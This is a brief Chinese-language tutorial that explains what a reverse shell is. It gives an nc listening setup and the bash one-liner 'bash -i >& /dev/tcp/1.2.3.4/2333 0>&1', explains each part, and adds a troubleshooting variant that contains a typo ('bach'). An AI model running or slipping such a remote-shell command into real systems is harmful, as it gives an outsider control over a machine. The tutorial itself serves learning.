# 什么是反向 shell
我们在客户端 A 通过 ssh
命令连接服务器 B,从而得到服务器 B 的终端命令行,客户端主动发起的这次连接过程我们称为正向 shell
1 | ssh test@10.10.10.1 |
顾名思义,反向 shell 应该由服务器端 B 主动发起,而客户端 A 被动监听,接收这次连接。
客户端 A (假设 ip 为 1.2.3.4)
1 | 打开一个端口,监听连接请求 |
nc(netcat)是 linux 中一个功能强大的网络命令行工具,常用于端口扫描,端口监听。
参数说明:
- -l 使用监听模式
- -vv verbose,使用两次会有更多信息
- -p 本地端口
客户端 A 打开了本地端口 2333,来监听连接请求。因此,我们只需要在服务器端 B 发起一个连接请求,将 B 的 shell 的输入输出发送过来即可完成反向 shell
服务器端 B
1 | bash -i >& /dev/tcp/1.2.3.4/2333 0>&1 |
这样就可以成功将 B 的 shell 命令行发送给 A,实现反向 shell
参考文章: https://www.jianshu.com/p/80d6b5a61372
命令详解:
- bash 命令行
- -i 交互模式
- >& 输出重定向,1 > 可以省略为 >,将标准输出和标准错误输出都重定向到远程。 文件的三种状态,0 标准输入, 1 标准输出, 2 错误输出
- /dev/tcp/${host}/${port} 建立一个 socket 连接,连接到其他机器
- 0>&1 标准输入重定向到标准输出,由于标准输出已经定向到了远端机器上,所以输入、输出都将定向到远端机器上,实现了反向 shell
由于 Linux 下一切皆文件,所以可以使用 /dev/tcp
创建一个 socket 套接字,而 /${host}/${port}
则是传入的参数。
# 反向 shell 工具
gsocket.io
# 可能的问题
-
shell 反弹失败
可能原因 1:
ubuntu 系统打开的终端默认为
sh
,而sh
实际指向的是非交互式终端dash
,需要先切换到bash
1
bach -c "bash -i >& /dev/tcp/ip/port 0>&1"
- -c 执行 command string